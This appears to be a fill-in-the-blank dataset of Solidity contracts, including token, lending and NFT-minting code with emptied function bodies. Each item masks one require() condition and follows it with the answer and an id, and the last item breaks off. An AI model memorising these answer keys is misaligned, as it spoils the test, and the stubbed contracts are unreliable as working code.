)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set max buy amount
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
//Set max wallet amount
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function setMarketingWallet(address payable MarketingWallet) external onlyOwner() {
}
}
| _msgSender()==_marketingWallet | 176,820 | _msgSender()==_marketingWallet |
"CURRENCY_NOT_EXIST" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.14;
import "@openzeppelin/contracts/access/Ownable.sol";
/// @notice Core contract for liqd lending and borrowing
contract LendingCore is Ownable {
enum Status {
CREATED,
REPAID,
LIQUIDATED
}
struct Loan {
address nftAddress; // address of nft
address borrower; // address of borrower
address lender; // address of lender
address currency; // address of loans' currency
Status status; // loan status
uint256 nftTokenId; // unique identifier of NFT that the borrower uses as collateral
uint256 startTime; // loan start date
uint256 endTime; // loan end date
uint256 loanAmount; // amount lender gives borrower
uint256 amountDue; // loanAmount + interest that needs to be paid back by borrower
uint8 nftTokenType; // token type ERC721: 0, ERC1155: 1, Other like CryptoPunk: 2
}
struct LoanPayload {
address lender;
address borrower;
address nftAddress;
address currency;
uint256 nftTokenId;
uint256 duration;
uint256 expiration;
uint256 loanAmount;
uint256 apr; // 100 = 1%
uint8 nftTokenType;
}
mapping(uint256 => Loan) public loans;
mapping(address => bool) public availableCurrencies;
mapping(address => uint256) public platformFees; // 100 = 1%
uint256 internal constant secondsForYear = 31540000;
///
/// events
///
event LoanCreated(
address indexed lender,
address indexed borrower,
address indexed nftAddress,
uint256 nftTokenId,
uint256 loanId,
address currency,
uint256 loanAmount,
uint256 fee
);
event LoanLiquidated(
address indexed lender,
address indexed borrower,
address indexed nftAddress,
uint256 nftTokenId,
uint256 loanId
);
event LoanTerminated(
address indexed lender,
address indexed borrower,
address indexed nftAddress,
uint256 nftTokenId,
uint256 loanId
);
event PlatformFeeUpdated(address indexed currency, uint256 platformFee);
///
/// management
///
/// @notice Set platform fee by owner
/// @param _currency the currency of loan
/// @param _platformFee platform fee for each currency
function setPlatformFee(address _currency, uint256 _platformFee)
external
onlyOwner
{
}
/// @notice Remove currency
/// @param _currency the currency of loan
function removeCurrency(address _currency) external onlyOwner {
require(<FILL_ME>)
availableCurrencies[_currency] = false;
platformFees[_currency] = 0;
emit PlatformFeeUpdated(_currency, 0);
}
///
/// business logic
///
/// @notice Split signature
function splitSignature(bytes memory _sig)
internal
pure
returns (
uint8,
bytes32,
bytes32
)
{
}
/// @notice Recover signer
function recoverSigner(bytes32 _message, bytes memory _sig)
internal
pure
returns (address)
{
}
/// @notice Calculate dueAmount
/// @param _loanAmount amount of loan
/// @param _apr apr of loan
/// @param _duration duration of loan
function calculateDueAmount(
uint256 _loanAmount,
uint256 _apr,
uint256 _duration
) internal pure returns (uint256) {
}
/// @notice Calculate platform fee
/// @param _loanAmount amount of loan
/// @param _platformFee platform fee for each currency
function calculatePlatformFee(uint256 _loanAmount, uint256 _platformFee)
internal
pure
returns (uint256)
{
}
}
| availableCurrencies[_currency]==true,"CURRENCY_NOT_EXIST" | 176,899 | availableCurrencies[_currency]==true |
"Transfer amount exceeds the bag size." | // SPDX-License-Identifier: MIT
/**
Play and invest in one place!
Website: https://www.gyrofinance.tech
Telegram: https://t.me/gyro_win
Twitter: https://twitter.com/gyro_win
Dapp: https://app.gyrofinance.tech
*/
pragma solidity 0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
}
modifier onlyOwner() {
}
function isOwner(address account) public view returns (bool) {
}
function renounceOwnership() public onlyOwner {
}
event OwnershipTransferred(address owner);
}
library SafeMathInt {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract GYRO is IERC20, Ownable {
using SafeMathInt for uint256;
address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
string constant _name = "Gyrowin";
string constant _symbol = "GYRO";
uint8 constant _decimals = 9;
uint256 _supplytotal = 10 ** 9 * (10 ** _decimals);
uint256 public _maxHolding = (_supplytotal * 15) / 1000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isMaxTxExempt;
uint256 lpFee = 0;
uint256 mktFee = 29;
uint256 totalFee = lpFee + mktFee;
uint256 feeDenominator = 100;
address public marketingWallet = 0x7d61A5B881F6E9835F9030Ac2e63563622c7D1Ec;
IUniswapRouter public router;
address public pair;
bool public hasSwapEnabled = false;
uint256 public swapThreshold = _supplytotal / 10000; // 0.5%
bool swapping;
modifier lockSwap() { }
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
constructor () Ownable(msg.sender) {
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function balanceOf(address account) public view override returns (uint256) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function approve(address spender, uint256 amount) public override returns (bool) {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function setWalletLimit(uint256 amountPercent) external onlyOwner {
}
function setFee(uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner {
}
function setSwapEnabled(bool value) external onlyOwner {
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
}
function shouldSwapBack() internal view returns (bool) {
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(swapping){ return _transferStandard(sender, recipient, amount); }
if (recipient != pair && recipient != DEAD) {
require(<FILL_ME>)
}
if(shouldSwapBack() && shouldTakeFee(sender) && recipient == pair && amount > swapThreshold){ swapBackAndLiquidify(); }
uint256 amountReceived = shouldTakeFee(sender) || !hasSwapEnabled ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _transferStandard(address sender, address recipient, uint256 amount) internal returns (bool) {
}
function swapBackAndLiquidify() internal lockSwap {
}
}
| isMaxTxExempt[recipient]||_balances[recipient]+amount<=_maxHolding,"Transfer amount exceeds the bag size." | 176,909 | isMaxTxExempt[recipient]||_balances[recipient]+amount<=_maxHolding |
"Exception: The public supply has been minted out." | // ,888 8888 ,88' 8 8888
// 888^8 8888 ,88' 8 8888
// 8|8 8888 ,88' 8 8888
// 8N8 8888 ,88' 8 8888
// 8G8 888888< 8 8888
// 8U8 8888 `MP. 8 8888
// 8|8 8888 `JK. 8 8888
// /88888\ 8888 `JO. 8888888888888
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PreGen is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public MAX_SUPPLY = 1;
uint256 public PUBLIC_SUPPLY = 1;
uint256 public maxMintAmount;
uint256 public pubSaleCost = 100000000000000000;
uint256 public prvSaleCost = 50000000000000000;
address public artist;
string public baseURI;
string public unrevealedURI;
string public uri;
string public metaDataExt = ".json";
mapping(address => uint256) public mintedPerAddress;
mapping(uint256 => bool) public isTokenIdExisting;
mapping(address => bool) public isWhitelisted;
bool public mintable = true;
bool public publicSale = false;
bool public isRevealed = false;
constructor(
string memory name,
string memory symbol,
string memory URI,
string memory UNREVEALED_URI,
uint256 initialSupply,
uint256 publicSupply,
address _admin,
uint256 _limitPerAddress
) ERC721(name, symbol) {
}
// return admin
function getAdmin() public view returns (address) {
}
//supply
function getMaxSupply() public view returns (uint256) {
}
function setMaxSupply(uint256 supply) onlyOwner public {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) onlyOwner public {
}
function getMaxMintAmount() public view returns (uint256) {
}
//mint
function mintTo(address _toAddress) onlyOwner external {
}
function mint() external payable {
require(<FILL_ME>)
require(mintedPerAddress[msg.sender] < maxMintAmount, "Exception: Reached the limit for each user. You can't mint no more");
require(publicSale || isWhitelisted[msg.sender], "Exception: signer is not whitelisted");
require(getCost() <= msg.value);
_mint(msg.sender);
mintedPerAddress[msg.sender] = SafeMath.add(mintedPerAddress[msg.sender], 1);
}
function _mint(address _toAddress) internal {
}
// mint flag
function setMintable(bool mintFlag) onlyOwner public {
}
//base uri
function _baseURI() internal view virtual override returns (string memory) {
}
function getBaseURI() public view returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) onlyOwner public {
}
function setUnrevealedURI(string memory _newUnrevealedURI) onlyOwner public {
}
function setMetaDataExt(string memory _newExt) onlyOwner public {
}
function setRevealed(bool _revealed) onlyOwner external {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// randomness
function getRandomness(address _to) public view returns (uint256) {
}
function addWhitelisted(address _address) internal {
}
function addBatchWhitelisted(address[] calldata mintWhitelist) external onlyOwner {
}
function checkWhitelisted(address _address) external view returns (bool) {
}
function removeWhitelisted(address _address) external onlyOwner {
}
function setCost(bool isPublic, uint256 _newCost) external onlyOwner {
}
function getCost() public view returns(uint256) {
}
function getSaleType() external view returns(bool) {
}
function setPublicSale(bool isPublic) external onlyOwner {
}
function withdraw() onlyOwner public {
}
function withdrawTo(address _address) onlyOwner public {
}
}
| totalSupply()<PUBLIC_SUPPLY,"Exception: The public supply has been minted out." | 177,044 | totalSupply()<PUBLIC_SUPPLY |
"Exception: Reached the limit for each user. You can't mint no more" | // ,888 8888 ,88' 8 8888
// 888^8 8888 ,88' 8 8888
// 8|8 8888 ,88' 8 8888
// 8N8 8888 ,88' 8 8888
// 8G8 888888< 8 8888
// 8U8 8888 `MP. 8 8888
// 8|8 8888 `JK. 8 8888
// /88888\ 8888 `JO. 8888888888888
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PreGen is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public MAX_SUPPLY = 1;
uint256 public PUBLIC_SUPPLY = 1;
uint256 public maxMintAmount;
uint256 public pubSaleCost = 100000000000000000;
uint256 public prvSaleCost = 50000000000000000;
address public artist;
string public baseURI;
string public unrevealedURI;
string public uri;
string public metaDataExt = ".json";
mapping(address => uint256) public mintedPerAddress;
mapping(uint256 => bool) public isTokenIdExisting;
mapping(address => bool) public isWhitelisted;
bool public mintable = true;
bool public publicSale = false;
bool public isRevealed = false;
constructor(
string memory name,
string memory symbol,
string memory URI,
string memory UNREVEALED_URI,
uint256 initialSupply,
uint256 publicSupply,
address _admin,
uint256 _limitPerAddress
) ERC721(name, symbol) {
}
// return admin
function getAdmin() public view returns (address) {
}
//supply
function getMaxSupply() public view returns (uint256) {
}
function setMaxSupply(uint256 supply) onlyOwner public {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) onlyOwner public {
}
function getMaxMintAmount() public view returns (uint256) {
}
//mint
function mintTo(address _toAddress) onlyOwner external {
}
function mint() external payable {
require(totalSupply() < PUBLIC_SUPPLY, "Exception: The public supply has been minted out.");
require(<FILL_ME>)
require(publicSale || isWhitelisted[msg.sender], "Exception: signer is not whitelisted");
require(getCost() <= msg.value);
_mint(msg.sender);
mintedPerAddress[msg.sender] = SafeMath.add(mintedPerAddress[msg.sender], 1);
}
function _mint(address _toAddress) internal {
}
// mint flag
function setMintable(bool mintFlag) onlyOwner public {
}
//base uri
function _baseURI() internal view virtual override returns (string memory) {
}
function getBaseURI() public view returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) onlyOwner public {
}
function setUnrevealedURI(string memory _newUnrevealedURI) onlyOwner public {
}
function setMetaDataExt(string memory _newExt) onlyOwner public {
}
function setRevealed(bool _revealed) onlyOwner external {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// randomness
function getRandomness(address _to) public view returns (uint256) {
}
function addWhitelisted(address _address) internal {
}
function addBatchWhitelisted(address[] calldata mintWhitelist) external onlyOwner {
}
function checkWhitelisted(address _address) external view returns (bool) {
}
function removeWhitelisted(address _address) external onlyOwner {
}
function setCost(bool isPublic, uint256 _newCost) external onlyOwner {
}
function getCost() public view returns(uint256) {
}
function getSaleType() external view returns(bool) {
}
function setPublicSale(bool isPublic) external onlyOwner {
}
function withdraw() onlyOwner public {
}
function withdrawTo(address _address) onlyOwner public {
}
}
| mintedPerAddress[msg.sender]<maxMintAmount,"Exception: Reached the limit for each user. You can't mint no more" | 177,044 | mintedPerAddress[msg.sender]<maxMintAmount |
"Exception: signer is not whitelisted" | // ,888 8888 ,88' 8 8888
// 888^8 8888 ,88' 8 8888
// 8|8 8888 ,88' 8 8888
// 8N8 8888 ,88' 8 8888
// 8G8 888888< 8 8888
// 8U8 8888 `MP. 8 8888
// 8|8 8888 `JK. 8 8888
// /88888\ 8888 `JO. 8888888888888
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PreGen is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public MAX_SUPPLY = 1;
uint256 public PUBLIC_SUPPLY = 1;
uint256 public maxMintAmount;
uint256 public pubSaleCost = 100000000000000000;
uint256 public prvSaleCost = 50000000000000000;
address public artist;
string public baseURI;
string public unrevealedURI;
string public uri;
string public metaDataExt = ".json";
mapping(address => uint256) public mintedPerAddress;
mapping(uint256 => bool) public isTokenIdExisting;
mapping(address => bool) public isWhitelisted;
bool public mintable = true;
bool public publicSale = false;
bool public isRevealed = false;
constructor(
string memory name,
string memory symbol,
string memory URI,
string memory UNREVEALED_URI,
uint256 initialSupply,
uint256 publicSupply,
address _admin,
uint256 _limitPerAddress
) ERC721(name, symbol) {
}
// return admin
function getAdmin() public view returns (address) {
}
//supply
function getMaxSupply() public view returns (uint256) {
}
function setMaxSupply(uint256 supply) onlyOwner public {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) onlyOwner public {
}
function getMaxMintAmount() public view returns (uint256) {
}
//mint
function mintTo(address _toAddress) onlyOwner external {
}
function mint() external payable {
require(totalSupply() < PUBLIC_SUPPLY, "Exception: The public supply has been minted out.");
require(mintedPerAddress[msg.sender] < maxMintAmount, "Exception: Reached the limit for each user. You can't mint no more");
require(<FILL_ME>)
require(getCost() <= msg.value);
_mint(msg.sender);
mintedPerAddress[msg.sender] = SafeMath.add(mintedPerAddress[msg.sender], 1);
}
function _mint(address _toAddress) internal {
}
// mint flag
function setMintable(bool mintFlag) onlyOwner public {
}
//base uri
function _baseURI() internal view virtual override returns (string memory) {
}
function getBaseURI() public view returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) onlyOwner public {
}
function setUnrevealedURI(string memory _newUnrevealedURI) onlyOwner public {
}
function setMetaDataExt(string memory _newExt) onlyOwner public {
}
function setRevealed(bool _revealed) onlyOwner external {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// randomness
function getRandomness(address _to) public view returns (uint256) {
}
function addWhitelisted(address _address) internal {
}
function addBatchWhitelisted(address[] calldata mintWhitelist) external onlyOwner {
}
function checkWhitelisted(address _address) external view returns (bool) {
}
function removeWhitelisted(address _address) external onlyOwner {
}
function setCost(bool isPublic, uint256 _newCost) external onlyOwner {
}
function getCost() public view returns(uint256) {
}
function getSaleType() external view returns(bool) {
}
function setPublicSale(bool isPublic) external onlyOwner {
}
function withdraw() onlyOwner public {
}
function withdrawTo(address _address) onlyOwner public {
}
}
| publicSale||isWhitelisted[msg.sender],"Exception: signer is not whitelisted" | 177,044 | publicSale||isWhitelisted[msg.sender] |
null | // ,888 8888 ,88' 8 8888
// 888^8 8888 ,88' 8 8888
// 8|8 8888 ,88' 8 8888
// 8N8 8888 ,88' 8 8888
// 8G8 888888< 8 8888
// 8U8 8888 `MP. 8 8888
// 8|8 8888 `JK. 8 8888
// /88888\ 8888 `JO. 8888888888888
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract PreGen is ERC721Enumerable, Ownable {
using SafeMath for uint256;
using Strings for uint256;
uint256 public MAX_SUPPLY = 1;
uint256 public PUBLIC_SUPPLY = 1;
uint256 public maxMintAmount;
uint256 public pubSaleCost = 100000000000000000;
uint256 public prvSaleCost = 50000000000000000;
address public artist;
string public baseURI;
string public unrevealedURI;
string public uri;
string public metaDataExt = ".json";
mapping(address => uint256) public mintedPerAddress;
mapping(uint256 => bool) public isTokenIdExisting;
mapping(address => bool) public isWhitelisted;
bool public mintable = true;
bool public publicSale = false;
bool public isRevealed = false;
constructor(
string memory name,
string memory symbol,
string memory URI,
string memory UNREVEALED_URI,
uint256 initialSupply,
uint256 publicSupply,
address _admin,
uint256 _limitPerAddress
) ERC721(name, symbol) {
}
// return admin
function getAdmin() public view returns (address) {
}
//supply
function getMaxSupply() public view returns (uint256) {
}
function setMaxSupply(uint256 supply) onlyOwner public {
}
function setMaxMintAmount(uint256 _newmaxMintAmount) onlyOwner public {
}
function getMaxMintAmount() public view returns (uint256) {
}
//mint
function mintTo(address _toAddress) onlyOwner external {
}
function mint() external payable {
require(totalSupply() < PUBLIC_SUPPLY, "Exception: The public supply has been minted out.");
require(mintedPerAddress[msg.sender] < maxMintAmount, "Exception: Reached the limit for each user. You can't mint no more");
require(publicSale || isWhitelisted[msg.sender], "Exception: signer is not whitelisted");
require(<FILL_ME>)
_mint(msg.sender);
mintedPerAddress[msg.sender] = SafeMath.add(mintedPerAddress[msg.sender], 1);
}
function _mint(address _toAddress) internal {
}
// mint flag
function setMintable(bool mintFlag) onlyOwner public {
}
//base uri
function _baseURI() internal view virtual override returns (string memory) {
}
function getBaseURI() public view returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) onlyOwner public {
}
function setUnrevealedURI(string memory _newUnrevealedURI) onlyOwner public {
}
function setMetaDataExt(string memory _newExt) onlyOwner public {
}
function setRevealed(bool _revealed) onlyOwner external {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
// randomness
function getRandomness(address _to) public view returns (uint256) {
}
function addWhitelisted(address _address) internal {
}
function addBatchWhitelisted(address[] calldata mintWhitelist) external onlyOwner {
}
function checkWhitelisted(address _address) external view returns (bool) {
}
function removeWhitelisted(address _address) external onlyOwner {
}
function setCost(bool isPublic, uint256 _newCost) external onlyOwner {
}
function getCost() public view returns(uint256) {
}
function getSaleType() external view returns(bool) {
}
function setPublicSale(bool isPublic) external onlyOwner {
}
function withdraw() onlyOwner public {
}
function withdrawTo(address _address) onlyOwner public {
}
}
| getCost()<=msg.value | 177,044 | getCost()<=msg.value |
"You aldredy get abstractions" | /*
╭━━━┳╮╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╭╯╰╮╱╱╱╱╱╱╭╯╰╮╱╱╱╱╱╱╱┃┃
┃┃╱┃┃╰━┳━┻╮╭╋━┳━━┳━┻╮╭╋┳━━┳━╮╱┃╰━┳╮╱╭╮
┃╰━╯┃╭╮┃━━┫┃┃╭┫╭╮┃╭━┫┃┣┫╭╮┃╭╮╮┃╭╮┃┃╱┃┃
┃╭━╮┃╰╯┣━━┃╰┫┃┃╭╮┃╰━┫╰┫┃╰╯┃┃┃┃┃╰╯┃╰━╯┃
╰╯╱╰┻━━┻━━┻━┻╯╰╯╰┻━━┻━┻┻━━┻╯╰╯╰━━┻━╮╭╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
╭━━━┳╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃┃
┃┃╱┃┃┃╭┳━━┳╮╱╭┳━━╮╱╱┃┣╮╭┳━╮
┃╰━╯┃╰╯┫╭╮┃┃╱┃┃╭╮┃╭╮┃┃┃┃┃╭╮╮
┃╭━╮┃╭╮┫╭╮┃╰━╯┃╰╯┃┃╰╯┃╰╯┃┃┃┃
╰╯╱╰┻╯╰┻╯╰┻━╮╭┻━━╯╰━━┻━━┻╯╰╯
╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╰━━╯
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AbstractionByAkayoJun is ERC721A, Ownable {
using Strings for uint256;
string public baseURI = "ipfs://bafybeiebkhbwsdv3kdjh62hil4kf7c3hqwx432jjibld236dmikiewqecu/";
uint256 public constant TOTAL_ABSTRACTS = 333;
uint256 public constant MAX_ABSTRACT_MINT = 3;
uint256 public ABSTRACT_PRICE = 0.009 ether;
bool public isSaleActive = false;
mapping(address => uint256) private mintedPerWallet;
constructor() ERC721A("Abstraction by Akayo Jun", "Abstraction") {
}
mapping(address => uint) public addressAbstracts;
mapping(address => bool) public addressHaveFreeAbstract;
function _startTokenId() internal view virtual override returns (uint256) {
}
function mint(uint256 abstracts) public payable {
require(isSaleActive, "Sale has not started yet");
require(abstracts <= MAX_ABSTRACT_MINT, "Only 4 abstractions in one hand");
require(<FILL_ME>)
require(totalSupply() + abstracts <= TOTAL_ABSTRACTS, "Abstractions ran out");
if(!addressHaveFreeAbstract[_msgSender()]) {
require(msg.value >= ( abstracts - 1 ) * ABSTRACT_PRICE, "Not enough ETH");
addressAbstracts[_msgSender()] += abstracts;
addressHaveFreeAbstract[_msgSender()] = true;
_safeMint(msg.sender, abstracts);
} else {
require(msg.value >= abstracts * ABSTRACT_PRICE, "Not enough ETH");
addressAbstracts[_msgSender()] += abstracts;
_safeMint(msg.sender, abstracts);
}
}
function ownerMint(uint256 _count) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function withdrawEther() external onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| addressAbstracts[_msgSender()]<MAX_ABSTRACT_MINT,"You aldredy get abstractions" | 177,050 | addressAbstracts[_msgSender()]<MAX_ABSTRACT_MINT |
"Abstractions ran out" | /*
╭━━━┳╮╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╭╯╰╮╱╱╱╱╱╱╭╯╰╮╱╱╱╱╱╱╱┃┃
┃┃╱┃┃╰━┳━┻╮╭╋━┳━━┳━┻╮╭╋┳━━┳━╮╱┃╰━┳╮╱╭╮
┃╰━╯┃╭╮┃━━┫┃┃╭┫╭╮┃╭━┫┃┣┫╭╮┃╭╮╮┃╭╮┃┃╱┃┃
┃╭━╮┃╰╯┣━━┃╰┫┃┃╭╮┃╰━┫╰┫┃╰╯┃┃┃┃┃╰╯┃╰━╯┃
╰╯╱╰┻━━┻━━┻━┻╯╰╯╰┻━━┻━┻┻━━┻╯╰╯╰━━┻━╮╭╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
╭━━━┳╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃┃
┃┃╱┃┃┃╭┳━━┳╮╱╭┳━━╮╱╱┃┣╮╭┳━╮
┃╰━╯┃╰╯┫╭╮┃┃╱┃┃╭╮┃╭╮┃┃┃┃┃╭╮╮
┃╭━╮┃╭╮┫╭╮┃╰━╯┃╰╯┃┃╰╯┃╰╯┃┃┃┃
╰╯╱╰┻╯╰┻╯╰┻━╮╭┻━━╯╰━━┻━━┻╯╰╯
╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╰━━╯
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AbstractionByAkayoJun is ERC721A, Ownable {
using Strings for uint256;
string public baseURI = "ipfs://bafybeiebkhbwsdv3kdjh62hil4kf7c3hqwx432jjibld236dmikiewqecu/";
uint256 public constant TOTAL_ABSTRACTS = 333;
uint256 public constant MAX_ABSTRACT_MINT = 3;
uint256 public ABSTRACT_PRICE = 0.009 ether;
bool public isSaleActive = false;
mapping(address => uint256) private mintedPerWallet;
constructor() ERC721A("Abstraction by Akayo Jun", "Abstraction") {
}
mapping(address => uint) public addressAbstracts;
mapping(address => bool) public addressHaveFreeAbstract;
function _startTokenId() internal view virtual override returns (uint256) {
}
function mint(uint256 abstracts) public payable {
require(isSaleActive, "Sale has not started yet");
require(abstracts <= MAX_ABSTRACT_MINT, "Only 4 abstractions in one hand");
require(addressAbstracts[_msgSender()] < MAX_ABSTRACT_MINT, "You aldredy get abstractions");
require(<FILL_ME>)
if(!addressHaveFreeAbstract[_msgSender()]) {
require(msg.value >= ( abstracts - 1 ) * ABSTRACT_PRICE, "Not enough ETH");
addressAbstracts[_msgSender()] += abstracts;
addressHaveFreeAbstract[_msgSender()] = true;
_safeMint(msg.sender, abstracts);
} else {
require(msg.value >= abstracts * ABSTRACT_PRICE, "Not enough ETH");
addressAbstracts[_msgSender()] += abstracts;
_safeMint(msg.sender, abstracts);
}
}
function ownerMint(uint256 _count) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function withdrawEther() external onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+abstracts<=TOTAL_ABSTRACTS,"Abstractions ran out" | 177,050 | totalSupply()+abstracts<=TOTAL_ABSTRACTS |
"Not enough ETH" | /*
╭━━━┳╮╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╭╯╰╮╱╱╱╱╱╱╭╯╰╮╱╱╱╱╱╱╱┃┃
